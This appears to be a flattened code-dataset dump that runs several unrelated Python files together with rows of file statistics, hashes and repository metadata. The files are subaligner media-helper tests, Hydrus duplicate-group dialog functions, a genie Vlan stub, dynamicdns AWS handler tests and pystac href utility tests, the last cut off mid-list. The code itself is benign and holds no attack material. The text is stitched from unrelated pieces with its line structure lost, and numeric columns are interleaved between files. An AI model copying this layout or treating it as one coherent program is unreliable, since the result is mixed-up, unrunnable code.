import unittest import os import pysrt import subprocess from subaligner.exception import TerminalException, NoFrameRateException from subaligner.media_helper import MediaHelper as Undertest from mock import patch, Mock class MediaHelperTests(unittest.TestCase): def setUp(self): self.__video_file_path = os.path.join( os.path.dirname(os.path.abspath(__file__)), "resource/test.mp4" ) self.__subtitle_file_path = os.path.join( os.path.dirname(os.path.abspath(__file__)), "resource/test.srt" ) self.__test_audio_path = os.path.join( os.path.dirname(os.path.abspath(__file__)), "resource/test.wav" ) self.__audio_file_path = None self.__segment_paths = [] def tearDown(self): if self.__audio_file_path is not None: os.remove(self.__audio_file_path) if os.path.isfile( self.__audio_file_path ) else None if self.__segment_paths is not None: for segment_path in self.__segment_paths: os.remove(segment_path) if os.path.isfile(segment_path) else None def test_extract_audio_wav(self): self.__audio_file_path = Undertest.extract_audio( self.__video_file_path, True, 16000 ) self.assertTrue(os.path.isfile(self.__audio_file_path)) def test_extract_audio_aac(self): self.__audio_file_path = Undertest.extract_audio(self.__video_file_path) self.assertTrue(os.path.isfile(self.__audio_file_path)) def test_extract_audio_wav_from_start(self): self.__audio_file_path = Undertest.extract_audio( self.__video_file_path, True, 16000 ) segment_path, duration = Undertest.extract_audio_from_start_to_end( self.__audio_file_path, "00:00:13,750" ) self.assertTrue(os.path.isfile(segment_path)) self.__segment_paths.append(segment_path) self.assertIsNone(duration) def test_get_duration_in_seconds(self): duration = Undertest.get_duration_in_seconds( start="02:10:12,222", end="03:12:24,328" ) self.assertEqual(3732.106, duration) def test_get_duration_in_seconds_without_start(self): duration = Undertest.get_duration_in_seconds(start=None, end="01:01:01,100") self.assertEqual(3661.100, duration) def test_extract_audio_wav_from_start_to_end(self): self.__audio_file_path = Undertest.extract_audio( self.__video_file_path, True, 16000 ) segment_path, duration = Undertest.extract_audio_from_start_to_end( self.__audio_file_path, "00:00:13,750", "00:00:16,150" ) self.assertTrue(os.path.isfile(segment_path)) self.__segment_paths.append(segment_path) self.assertEqual(2.4, duration) def test_get_audio_segment_starts_and_ends(self): subs = pysrt.open(self.__subtitle_file_path, encoding="utf-8") segment_starts, segment_ends, new_subs = Undertest.get_audio_segment_starts_and_ends( subs ) self.assertEqual(len(segment_starts), len(segment_ends)) self.assertEqual(len(segment_starts), len(new_subs)) for sub in new_subs: self.assertIsInstance(sub, pysrt.SubRipFile) def test_get_frame_rate(self): self.assertEqual(24.0, Undertest.get_frame_rate(self.__video_file_path)) def test_throw_terminal_exception_on_bad_video(self): try: Undertest.extract_audio("bad_video_file_path", True, 16000) except Exception as e: self.assertTrue(isinstance(e, TerminalException)) self.assertFalse(os.path.exists("bad_video_file_path.mp4.wav")) else: self.fail("Should have thrown exception") @patch("subprocess.Popen") def test_throw_exception_on_extract_audio_with_error_code(self, mock_popen): mock_popen.returncode.return_value = 1 mock_popen.communicate = Mock() mock_popen.communicate.return_value = 1 try: Undertest.extract_audio(self.__video_file_path) except Exception as e: self.assertTrue(mock_popen.communicate.called_with(180)) self.assertTrue(isinstance(e, TerminalException)) self.assertTrue("Cannot extract audio from video:" in str(e)) else: self.fail("Should have thrown exception") @patch("subprocess.Popen.communicate", side_effect=subprocess.TimeoutExpired("", 1.0)) def test_throw_exception_on_extract_audio_timeout(self, mock_communicate): try: Undertest.extract_audio(self.__video_file_path) except Exception as e: self.assertTrue(mock_communicate.called) self.assertTrue(isinstance(e, TerminalException)) self.assertTrue("Timeout on extracting audio from video:" in str(e)) else: self.fail("Should have thrown exception") @patch("subprocess.Popen.communicate", side_effect=KeyboardInterrupt) def test_throw_exception_on_extract_audio_interrupted(self, mock_communicate): try: Undertest.extract_audio(self.__video_file_path) except Exception as e: self.assertTrue(mock_communicate.called) self.assertTrue(isinstance(e, TerminalException)) self.assertTrue("interrupted" in str(e)) else: self.fail("Should have thrown exception") @patch("subprocess.Popen.communicate", side_effect=Exception()) def test_throw_exception_on_vtt2srt_exception(self, mock_communicate): try: Undertest.extract_audio(self.__video_file_path) except Exception as e: self.assertTrue(mock_communicate.called) self.assertTrue(isinstance(e, TerminalException)) self.assertTrue("Cannot extract audio from video:" in str(e)) else: self.fail("Should have thrown exception") @patch("subprocess.Popen.communicate", return_value=1) def test_throw_exception_on_extract_partial_audio_with_error_code(self, mock_communicate): try: Undertest.extract_audio_from_start_to_end( self.__test_audio_path, "00:00:13,750", "00:00:16,150" ) except Exception as e: self.assertTrue(mock_communicate.called) self.assertTrue(isinstance(e, TerminalException)) self.assertTrue("Cannot clip audio:" in str(e)) else: self.fail("Should have thrown exception") @patch("subprocess.Popen.communicate", side_effect=subprocess.TimeoutExpired("", 1.0)) def test_throw_exception_on_extract_partial_audio_timeout(self, mock_communicate): try: Undertest.extract_audio_from_start_to_end( self.__test_audio_path, "00:00:13,750", "00:00:16,150" ) except Exception as e: self.assertTrue(mock_communicate.called) self.assertTrue(isinstance(e, TerminalException)) self.assertTrue("Timeout on extracting audio from audio:" in str(e)) else: self.fail("Should have thrown exception") @patch("subprocess.Popen.communicate", side_effect=Exception()) def test_throw_exception_on_extract_partial_audio_exception(self, mock_communicate): try: Undertest.extract_audio_from_start_to_end( self.__test_audio_path, "00:00:13,750", "00:00:16,150" ) except Exception as e: self.assertTrue(mock_communicate.called) self.assertTrue(isinstance(e, TerminalException)) self.assertTrue("Cannot clip audio:" in str(e)) else: self.fail("Should have thrown exception") @patch("subprocess.Popen.communicate", side_effect=KeyboardInterrupt) def test_throw_exception_on_extract_partial_audio_interrupted(self, mock_communicate): try: Undertest.extract_audio_from_start_to_end( self.__test_audio_path, "00:00:13,750", "00:00:16,150" ) except Exception as e: self.assertTrue(mock_communicate.called) self.assertTrue(isinstance(e, TerminalException)) self.assertTrue("interrupted" in str(e)) else: self.fail("Should have thrown exception") def test_throw_no_frame_rate_exception_on_audio(self): try: Undertest.get_frame_rate(self.__test_audio_path) except Exception as e: self.assertTrue(isinstance(e, NoFrameRateException)) else: self.fail("Should have thrown exception") @patch("subprocess.Popen.communicate", return_value=1) def test_throw_exception_on_get_frame_rate(self, mock_communicate): try: Undertest.get_frame_rate(self.__video_file_path) except Exception as e: self.assertTrue(mock_communicate.called) self.assertTrue(isinstance(e, NoFrameRateException)) self.assertTrue("Cannot extract the frame rate from video:" in str(e)) else: self.fail("Should have thrown exception") @patch("subprocess.Popen.communicate", side_effect=subprocess.TimeoutExpired("", 1.0)) def test_throw_exception_on_get_frame_rate_timeout(self, mock_communicate): try: Undertest.get_frame_rate(self.__video_file_path) except Exception as e: self.assertTrue(mock_communicate.called) self.assertTrue(isinstance(e, NoFrameRateException)) self.assertTrue("Timeout on extracting the frame rate from video:" in str(e)) else: self.fail("Should have thrown exception") @patch("subprocess.Popen.communicate", side_effect=Exception()) def test_throw_exception_on_get_frame_rate_exception(self, mock_communicate): try: Undertest.get_frame_rate(self.__video_file_path) except Exception as e: self.assertTrue(mock_communicate.called) self.assertTrue(isinstance(e, NoFrameRateException)) self.assertTrue("Cannot extract the frame rate from video:" in str(e)) else: self.fail("Should have thrown exception") @patch("subprocess.Popen.communicate", side_effect=KeyboardInterrupt) def test_throw_exception_on_get_frame_rate_interrupted(self, mock_communicate): try: Undertest.get_frame_rate(self.__video_file_path) except Exception as e: self.assertTrue(mock_communicate.called) self.assertTrue(isinstance(e, TerminalException)) self.assertTrue("interrupted" in str(e)) else: self.fail("Should have thrown exception") if __name__ == "__main__": unittest.main()

42.648221

94

0.674791

1,299

10,790

5.274057

0.107005

0.085827

0.030361

0.034739

0.837688

0.815647

0.781492

0.755072

0.70632

0.696833

0

0.022039

0.234662

10,790

252

95

42.81746

0.807581

0

0.587444

0

0.123726

0.031047

0

0.2287

1

0.107623

false

0

0.03139

0

0.143498

0

null

0

1

0

null

0

6

a3fd16ede73dbbb8a29dda27dfd73323324fc854

45

py

Python

representation_learning_for_transcriptomics/supervised/predictors/regressors/__init__.py

unlearnai/representation_learning_for_transcriptomics

66e7a31471ca3ded5d46945d34c74bad8f22afbf

[ "CC-BY-4.0" ]

3

2020-03-30T00:36:11.000Z

2021-05-07T18:43:27.000Z

representation_learning_for_transcriptomics/supervised/predictors/regressors/__init__.py

unlearnai/representation_learning_for_transcriptomics

66e7a31471ca3ded5d46945d34c74bad8f22afbf

[ "CC-BY-4.0" ]

null

representation_learning_for_transcriptomics/supervised/predictors/regressors/__init__.py

unlearnai/representation_learning_for_transcriptomics

66e7a31471ca3ded5d46945d34c74bad8f22afbf

[ "CC-BY-4.0" ]

null

from .proportional_hazard_regressor import *

22.5

44

0.866667

5

45

7.4

1

0

0.088889

45

1

45

0.902439

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

430663ee688fa24dff6590627c73da259bf3e17e

9,170

py

Python

include/ClientGUIDuplicates.py

sorashi/hydrus

0544a75d2117904b42e935d264ae35ded5cbf36a

[ "WTFPL" ]

null

include/ClientGUIDuplicates.py

sorashi/hydrus

0544a75d2117904b42e935d264ae35ded5cbf36a

[ "WTFPL" ]

null

include/ClientGUIDuplicates.py

sorashi/hydrus

0544a75d2117904b42e935d264ae35ded5cbf36a

[ "WTFPL" ]

null

from . import ClientGUIDialogsQuick from . import HydrusExceptions import os import traceback from . import HydrusData from . import HydrusGlobals as HG from qtpy import QtWidgets as QW def ClearFalsePositives( win, hashes ): if len( hashes ) == 1: message = 'Are you sure you want to clear this file of its false-positive relations?' message += os.linesep * 2 message += 'False-positive relations are recorded between alternate groups, so this change will also affect any files this file is alternate to.' message += os.linesep * 2 message += 'All affected files will be queued up for another potential duplicates search, so you will likely see at least one of them again in the duplicate filter.' else: message = 'Are you sure you want to clear these {} files of their false-positive relations?'.format( HydrusData.ToHumanInt( len( hashes ) ) ) message += os.linesep * 2 message += 'False-positive relations are recorded between alternate groups, so this change will also affect all alternate files to your selection.' message += os.linesep * 2 message += 'All affected files will be queued up for another potential duplicates search, so you will likely see some of them again in the duplicate filter.' result = ClientGUIDialogsQuick.GetYesNo( win, message ) if result == QW.QDialog.Accepted: HG.client_controller.Write( 'clear_false_positive_relations', hashes ) def DissolveAlternateGroup( win, hashes ): if len( hashes ) == 1: message = 'Are you sure you want to dissolve this file\'s entire alternates group?' message += os.linesep * 2 message += 'This will completely remove all duplicate, alternate, and false-positive relations for all files in the group and set them to come up again in the duplicate filter.' message += os.linesep * 2 message += 'This is a potentially big change that throws away many previous decisions and cannot be undone. If you can achieve your result just by removing some alternate members, do that instead.' else: message = 'Are you sure you want to dissolve these {} files\' entire alternates groups?'.format( HydrusData.ToHumanInt( len( hashes ) ) ) message += os.linesep * 2 message += 'This will completely remove all duplicate, alternate, and false-positive relations for all alternate groups of all files selected and set them to come up again in the duplicate filter.' message += os.linesep * 2 message += 'This is a potentially huge change that throws away many previous decisions and cannot be undone. If you can achieve your result just by removing some alternate members, do that instead.' result = ClientGUIDialogsQuick.GetYesNo( win, message ) if result == QW.QDialog.Accepted: HG.client_controller.Write( 'dissolve_alternates_group', hashes ) def DissolveDuplicateGroup( win, hashes ): if len( hashes ) == 1: message = 'Are you sure you want to dissolve this file\'s duplicate group?' message += os.linesep * 2 message += 'This will split the duplicates group back into individual files and remove any alternate relations they have. They will be queued back up in the duplicate filter for reprocessing.' message += os.linesep * 2 message += 'This could be a big change that throws away many previous decisions and cannot be undone. If you can achieve your result just by removing one or two members, do that instead.' else: message = 'Are you sure you want to dissolve these {} files\' duplicate groups?'.format( HydrusData.ToHumanInt( len( hashes ) ) ) message += os.linesep * 2 message += 'This will split all the files\' duplicates groups back into individual files and remove any alternate relations they have. They will all be queued back up in the duplicate filter for reprocessing.' message += os.linesep * 2 message += 'This could be a huge change that throws away many previous decisions and cannot be undone. If you can achieve your result just by removing some members, do that instead.' result = ClientGUIDialogsQuick.GetYesNo( win, message ) if result == QW.QDialog.Accepted: HG.client_controller.Write( 'dissolve_duplicates_group', hashes ) def RemoveFromAlternateGroup( win, hashes ): if len( hashes ) == 1: message = 'Are you sure you want to remove this file from its alternates group?' message += os.linesep * 2 message += 'Alternate relationships are stored between duplicate groups, so this will pull any duplicates of your file with it.' message += os.linesep * 2 message += 'The removed file (and any duplicates) will be queued up for another potential duplicates search, so you will likely see at least one again in the duplicate filter.' else: message = 'Are you sure you want to remove these {} files from their alternates groups?'.format( HydrusData.ToHumanInt( len( hashes ) ) ) message += os.linesep * 2 message += 'Alternate relationships are stored between duplicate groups, so this will pull any duplicates of these files with them.' message += os.linesep * 2 message += 'The removed files (and any duplicates) will be queued up for another potential duplicates search, so you will likely see some again in the duplicate filter.' result = ClientGUIDialogsQuick.GetYesNo( win, message ) if result == QW.QDialog.Accepted: HG.client_controller.Write( 'remove_alternates_member', hashes ) def RemoveFromDuplicateGroup( win, hashes ): if len( hashes ) == 1: message = 'Are you sure you want to remove this file from its duplicate group?' message += os.linesep * 2 message += 'The remaining group will be otherwise unaffected and will keep its alternate relationships.' message += os.linesep * 2 message += 'The removed file will be queued up for another potential duplicates search, so you will likely see it again in the duplicate filter.' else: message = 'Are you sure you want to remove these {} files from their duplicate groups?'.format( HydrusData.ToHumanInt( len( hashes ) ) ) message += os.linesep * 2 message += 'The remaining groups will be otherwise unaffected and keep their alternate relationships.' message += os.linesep * 2 message += 'The removed files will be queued up for another potential duplicates search, so you will likely see them again in the duplicate filter.' result = ClientGUIDialogsQuick.GetYesNo( win, message ) if result == QW.QDialog.Accepted: HG.client_controller.Write( 'remove_duplicates_member', hashes ) def RemovePotentials( win, hashes ): if len( hashes ) == 1: message = 'Are you sure you want to remove all of this file\'s potentials?' message += os.linesep * 2 message += 'This will mean it (or any of its duplicates) will not appear in the duplicate filter unless new potentials are found with new files. Use this command if the file has accidentally received many false positive potential relationships.' else: message = 'Are you sure you want to remove all of these {} files\' potentials?'.format( HydrusData.ToHumanInt( len( hashes ) ) ) message += os.linesep * 2 message += 'This will mean they (or any of their duplicates) will not appear in the duplicate filter unless new potentials are found with new files. Use this command if the files have accidentally received many false positive potential relationships.' result = ClientGUIDialogsQuick.GetYesNo( win, message ) if result == QW.QDialog.Accepted: HG.client_controller.Write( 'remove_potential_pairs', hashes ) def ResetPotentialSearch( win, hashes ): if len( hashes ) == 1: message = 'Are you sure you want to search this file for potential duplicates again?' message += os.linesep * 2 message += 'This will not remove any existing potential pairs, and will typically not find any new relationships unless an error has occured.' else: message = 'Are you sure you want to search these {} files for potential duplicates again?'.format( HydrusData.ToHumanInt( len( hashes ) ) ) message += os.linesep * 2 message += 'This will not remove any existing potential pairs, and will typically not find any new relationships unless an error has occured.' result = ClientGUIDialogsQuick.GetYesNo( win, message ) if result == QW.QDialog.Accepted: HG.client_controller.Write( 'reset_potential_search_status', hashes )

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259

0.67132

1,178

9,170

5.206282

0.13837

0.035219

0.062612

0.066525

0.842818

0.833687

0.797489

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0.741888

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9,170

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260

50.384615

0.904402

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0

null

0

1

0

null

0

6

4332b416dfd4818b3a4462eaf2af070fba0f5a87

12,133

py

Python

tests/aws/test_functions_dns.py

amarkwalder/dynamicdns

68dbf80ca90c55a4e9273e6200f04eae90d785da

[ "MIT" ]

null

tests/aws/test_functions_dns.py

amarkwalder/dynamicdns

68dbf80ca90c55a4e9273e6200f04eae90d785da

[ "MIT" ]

2

2019-10-21T17:00:56.000Z

2021-05-07T11:51:55.000Z

tests/aws/test_functions_dns.py

amarkwalder/dynamicdns

68dbf80ca90c55a4e9273e6200f04eae90d785da

[ "MIT" ]

null

import json import unittest from unittest.mock import MagicMock, Mock, patch, mock_open import dynamicdns from dynamicdns.aws.functions.dns import handle from dynamicdns.models import Error from dynamicdns.aws.route53 import Route53Provider from dynamicdns.aws.s3config import S3ConfigProvider from dynamicdns.aws.boto3wrapper import Boto3Wrapper from dynamicdns.processor import Processor class TestDNS(unittest.TestCase): @patch('dynamicdns.processor.factory') @patch('dynamicdns.aws.s3config.factory') def testDNSSuccess(self, mock_config, mock_processor): self.__setUpMocks(configFailed=False, hashFailed=False, updateFailed=False, mock_config=mock_config, mock_processor=mock_processor) event = { 'queryStringParameters': { 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkJson(result, "SUCCESS", "OK") event = { 'queryStringParameters': { 'raw': '', 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkRaw(result, "SUCCESS", "OK") @patch('dynamicdns.processor.factory') @patch('dynamicdns.aws.s3config.factory') def testDNSFailConfig(self, mock_config, mock_processor): self.__setUpMocks(configFailed=True, hashFailed=False, updateFailed=False, mock_config=mock_config, mock_processor=mock_processor) event = { 'queryStringParameters': { 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkJson(result, "FAIL", "Config Load failed") event = { 'queryStringParameters': { 'raw': '', 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkRaw(result, "FAIL", "Config Load failed") @patch('dynamicdns.processor.factory') @patch('dynamicdns.aws.s3config.factory') def testDNSFailHashcheck(self, mock_config, mock_processor): self.__setUpMocks(configFailed=False, hashFailed=True, updateFailed=False, mock_config=mock_config, mock_processor=mock_processor) event = { 'queryStringParameters': { 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkJson(result, "FAIL", "Hashcheck failed") event = { 'queryStringParameters': { 'raw': '', 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkRaw(result, "FAIL", "Hashcheck failed") @patch('dynamicdns.processor.factory') @patch('dynamicdns.aws.s3config.factory') def testDNSFailUpdate(self, mock_config, mock_processor): self.__setUpMocks(configFailed=False, hashFailed=False, updateFailed=True, mock_config=mock_config, mock_processor=mock_processor) event = { 'queryStringParameters': { 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkJson(result, "FAIL", "Update failed") event = { 'queryStringParameters': { 'raw': '', 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkRaw(result, "FAIL", "Update failed") @patch('dynamicdns.processor.factory') @patch('dynamicdns.aws.s3config.factory') def testDNSMissingParamInternalIp(self, mock_config, mock_processor): self.__setUpMocks(configFailed=False, hashFailed=False, updateFailed=False, mock_config=mock_config, mock_processor=mock_processor) event = { 'queryStringParameters': { 'hostname': 'abc', 'hash': 'xyz'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkJson(result, "SUCCESS", "OK") event = { 'queryStringParameters': { 'raw': '', 'hostname': 'abc', 'hash': 'xyz'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkRaw(result, "SUCCESS", "OK") @patch('dynamicdns.processor.factory') @patch('dynamicdns.aws.s3config.factory') def testDNSMissingParamHostname(self, mock_config, mock_processor): self.__setUpMocks(configFailed=False, hashFailed=False, updateFailed=False, mock_config=mock_config, mock_processor=mock_processor) event = { 'queryStringParameters': { 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkJson(result, "FAIL", "You have to pass 'hostname' querystring parameters.") event = { 'queryStringParameters': { 'raw': '', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkRaw(result, "FAIL", "You have to pass 'hostname' querystring parameters.") @patch('dynamicdns.processor.factory') @patch('dynamicdns.aws.s3config.factory') def testDNSMissingParamHash(self, mock_config, mock_processor): self.__setUpMocks(configFailed=False, hashFailed=False, updateFailed=False, mock_config=mock_config, mock_processor=mock_processor) event = { 'queryStringParameters': { 'hostname': 'abc', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkJson(result, "FAIL", "You have to pass 'hash' querystring parameters.") event = { 'queryStringParameters': { 'raw': '', 'hostname': 'abc', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': { 'sourceIp': '1.1.1.1' } } } context = {} result = handle(event, context) self.__checkRaw(result, "FAIL", "You have to pass 'hash' querystring parameters.") @patch('dynamicdns.processor.factory') @patch('dynamicdns.aws.s3config.factory') def testDNSMissingParamSourceIp(self, mock_config, mock_processor): self.__setUpMocks(configFailed=False, hashFailed=False, updateFailed=False, mock_config=mock_config, mock_processor=mock_processor) event = { 'queryStringParameters': { 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'} } context = {} result = handle(event, context) self.__checkJson(result, "FAIL", "Source IP address cannot be extracted from request context.") event = { 'queryStringParameters': { 'raw': '', 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'} } context = {} result = handle(event, context) self.__checkRaw(result, "FAIL", "Source IP address cannot be extracted from request context.") event = { 'queryStringParameters': { 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': {} } context = {} result = handle(event, context) self.__checkJson(result, "FAIL", "Source IP address cannot be extracted from request context.") event = { 'queryStringParameters': { 'raw': '', 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': {} } context = {} result = handle(event, context) self.__checkRaw(result, "FAIL", "Source IP address cannot be extracted from request context.") event = { 'queryStringParameters': { 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': None } context = {} result = handle(event, context) self.__checkJson(result, "FAIL", "Source IP address cannot be extracted from request context.") event = { 'queryStringParameters': { 'raw': '', 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': None } context = {} result = handle(event, context) self.__checkRaw(result, "FAIL", "Source IP address cannot be extracted from request context.") event = { 'queryStringParameters': { 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': {} } } context = {} result = handle(event, context) self.__checkJson(result, "FAIL", "Source IP address cannot be extracted from request context.") event = { 'queryStringParameters': { 'raw': '', 'hostname': 'abc', 'hash': 'xyz', 'internalip': '2.2.2.2'}, 'requestContext': { 'identity': {} } } context = {} result = handle(event, context) self.__checkRaw(result, "FAIL", "Source IP address cannot be extracted from request context.") # ----------------------------------------------------------------------------- # TESTING HELPER METHODS # ----------------------------------------------------------------------------- def __setUpMocks(self, configFailed: bool, hashFailed: bool, updateFailed: bool, mock_config, mock_processor): config = S3ConfigProvider(None) config.aws_region = MagicMock(return_value = 'aws_region') config.route_53_record_ttl = MagicMock(return_value = 'route_53_record_ttl') config.route_53_record_type = MagicMock(return_value = 'route_53_record_type') config.route_53_zone_id = MagicMock(return_value = 'route_53_zone_id') config.shared_secret = MagicMock(return_value = 'shared_secret') if configFailed: config.load = MagicMock(return_value = Error("Config Load failed")) else: config.load = MagicMock(return_value = config) mock_config.return_value = config processor = Processor(None) if hashFailed: processor.checkhash = MagicMock(return_value = Error("Hashcheck failed")) else: processor.checkhash = MagicMock(return_value = None) if updateFailed: processor.update = MagicMock(return_value = Error("Update failed")) else: processor.update = MagicMock(return_value = "OK") mock_processor.return_value = processor def __checkJson(self, result, status, message): self.assertEqual(result['statusCode'], 200) self.assertEqual(result['headers']['Content-Type'], 'application/json') a = json.loads(result['body']) b = json.loads('{"status": "' + status + '", "message": "' + message + '"}') self.assertEqual(a, b) def __checkRaw(self, result, status, message): self.assertEqual(result['statusCode'], 200) self.assertEqual(result['headers']['Content-Type'], 'text/plain') self.assertEqual(result['body'], status + '\n' + message) if __name__ == '__main__': unittest.main()

38.640127

139

0.591198

1,171

12,133

5.98719

0.099061

0.017116

0.07531

0.818999

0.77464

0.765226

0.757667

0.748253

0

0.018686

0.245776

12,133

313

140

38.763578

0.747459

0.014671

0

0.60262

0

0.285583

0.078152

0

0.026201

1

0.048035

false

0.017467

0.043668

0

0.09607

0

null

0

1

0

null

0

6

43399172e57e76fd90727f5f49c9db95a2165a5e

114

py

Python

pkgs/ops-pkg/src/genie/libs/ops/vlan/ios/vlan.py

miott/genielibs

6464642cdd67aa2367bdbb12561af4bb060e5e62

[ "Apache-2.0" ]

94

2018-04-30T20:29:15.000Z

2022-03-29T13:40:31.000Z

pkgs/ops-pkg/src/genie/libs/ops/vlan/ios/vlan.py

miott/genielibs

6464642cdd67aa2367bdbb12561af4bb060e5e62

[ "Apache-2.0" ]

67

2018-12-06T21:08:09.000Z

2022-03-29T18:00:46.000Z

pkgs/ops-pkg/src/genie/libs/ops/vlan/ios/vlan.py

miott/genielibs

6464642cdd67aa2367bdbb12561af4bb060e5e62

[ "Apache-2.0" ]

49

2018-06-29T18:59:03.000Z

2022-03-10T02:07:59.000Z

''' Vlan Genie Ops Object for IOS - CLI. ''' from ..iosxe.vlan import Vlan as VlanXE class Vlan(VlanXE): pass

16.285714

39

0.675439

18

114

4.277778

0.777778

0

0.201754

114

7

40

16.285714

0.846154

0.315789

0

1

0

true

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

6

434429d1bf72f145f7668192d9a728391c694267

71

py

Python

mra/core/commands/__init__.py

Bizarious/mra-bot

ff18f42e6957e0ecad21882cb066dcbb2b9b8fcf

[ "MIT" ]

null

mra/core/commands/__init__.py

Bizarious/mra-bot

ff18f42e6957e0ecad21882cb066dcbb2b9b8fcf

[ "MIT" ]

null

mra/core/commands/__init__.py

Bizarious/mra-bot

ff18f42e6957e0ecad21882cb066dcbb2b9b8fcf

[ "MIT" ]

null

from .extension import * from .command import * from .context import *

17.75

24

0.746479

9

71

5.888889

0.555556

0.377358

0

0.169014

71

3

25

23.666667

0.898305

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

4a314995f64ca9d195cd182836ba7984bb39bb56

7,983

py

Python

tests/test_utils.py

emmanuelmathot/pystac

6552327f30658d25972c97024ed71865ed131e52

[ "Apache-2.0" ]

null

tests/test_utils.py

emmanuelmathot/pystac

6552327f30658d25972c97024ed71865ed131e52

[ "Apache-2.0" ]

null

tests/test_utils.py

emmanuelmathot/pystac

6552327f30658d25972c97024ed71865ed131e52

[ "Apache-2.0" ]

null

import unittest import os import json import ntpath from datetime import datetime, timezone, timedelta from pystac import utils from pystac.utils import (make_relative_href, make_absolute_href, is_absolute_href) class UtilsTest(unittest.TestCase): def test_make_relative_href(self): # Test cases of (source_href, start_href, expected) test_cases = [ ('/a/b/c/d/catalog.json', '/a/b/c/catalog.json', './d/catalog.json'), ('/a/b/catalog.json', '/a/b/c/catalog.json', '../catalog.json'), ('/a/catalog.json', '/a/b/c/catalog.json', '../../catalog.json'), ('http://stacspec.org/a/b/c/d/catalog.json', 'http://stacspec.org/a/b/c/catalog.json', './d/catalog.json'), ('http://stacspec.org/a/b/catalog.json', 'http://stacspec.org/a/b/c/catalog.json', '../catalog.json'), ('http://stacspec.org/a/catalog.json', 'http://stacspec.org/a/b/c/catalog.json', '../../catalog.json'), ('http://stacspec.org/a/catalog.json', 'http://cogeo.org/a/b/c/catalog.json', 'http://stacspec.org/a/catalog.json'), ('http://stacspec.org/a/catalog.json', 'https://stacspec.org/a/b/c/catalog.json', 'http://stacspec.org/a/catalog.json') ] for source_href, start_href, expected in test_cases: actual = make_relative_href(source_href, start_href) self.assertEqual(actual, expected) def test_make_relative_href_windows(self): utils._pathlib = ntpath try: # Test cases of (source_href, start_href, expected) test_cases = [ ('C:\\a\\b\\c\\d\\catalog.json', 'C:\\a\\b\\c\\catalog.json', '.\\d\\catalog.json'), ('C:\\a\\b\\catalog.json', 'C:\\a\\b\\c\\catalog.json', '..\\catalog.json'), ('C:\\a\\catalog.json', 'C:\\a\\b\\c\\catalog.json', '..\\..\\catalog.json'), ('a\\b\\c\\catalog.json', 'a\\b\\catalog.json', '.\\c\\catalog.json'), ('a\\b\\catalog.json', 'a\\b\\c\\catalog.json', '..\\catalog.json'), ('http://stacspec.org/a/b/c/d/catalog.json', 'http://stacspec.org/a/b/c/catalog.json', './d/catalog.json'), ('http://stacspec.org/a/b/catalog.json', 'http://stacspec.org/a/b/c/catalog.json', '../catalog.json'), ('http://stacspec.org/a/catalog.json', 'http://stacspec.org/a/b/c/catalog.json', '../../catalog.json'), ('http://stacspec.org/a/catalog.json', 'http://cogeo.org/a/b/c/catalog.json', 'http://stacspec.org/a/catalog.json'), ('http://stacspec.org/a/catalog.json', 'https://stacspec.org/a/b/c/catalog.json', 'http://stacspec.org/a/catalog.json') ] for source_href, start_href, expected in test_cases: actual = make_relative_href(source_href, start_href) self.assertEqual(actual, expected) finally: utils._pathlib = os.path def test_make_absolute_href(self): # Test cases of (source_href, start_href, expected) test_cases = [('item.json', '/a/b/c/catalog.json', '/a/b/c/item.json'), ('./item.json', '/a/b/c/catalog.json', '/a/b/c/item.json'), ('./z/item.json', '/a/b/c/catalog.json', '/a/b/c/z/item.json'), ('../item.json', '/a/b/c/catalog.json', '/a/b/item.json'), ('item.json', 'https://stacspec.org/a/b/c/catalog.json', 'https://stacspec.org/a/b/c/item.json'), ('./item.json', 'https://stacspec.org/a/b/c/catalog.json', 'https://stacspec.org/a/b/c/item.json'), ('./z/item.json', 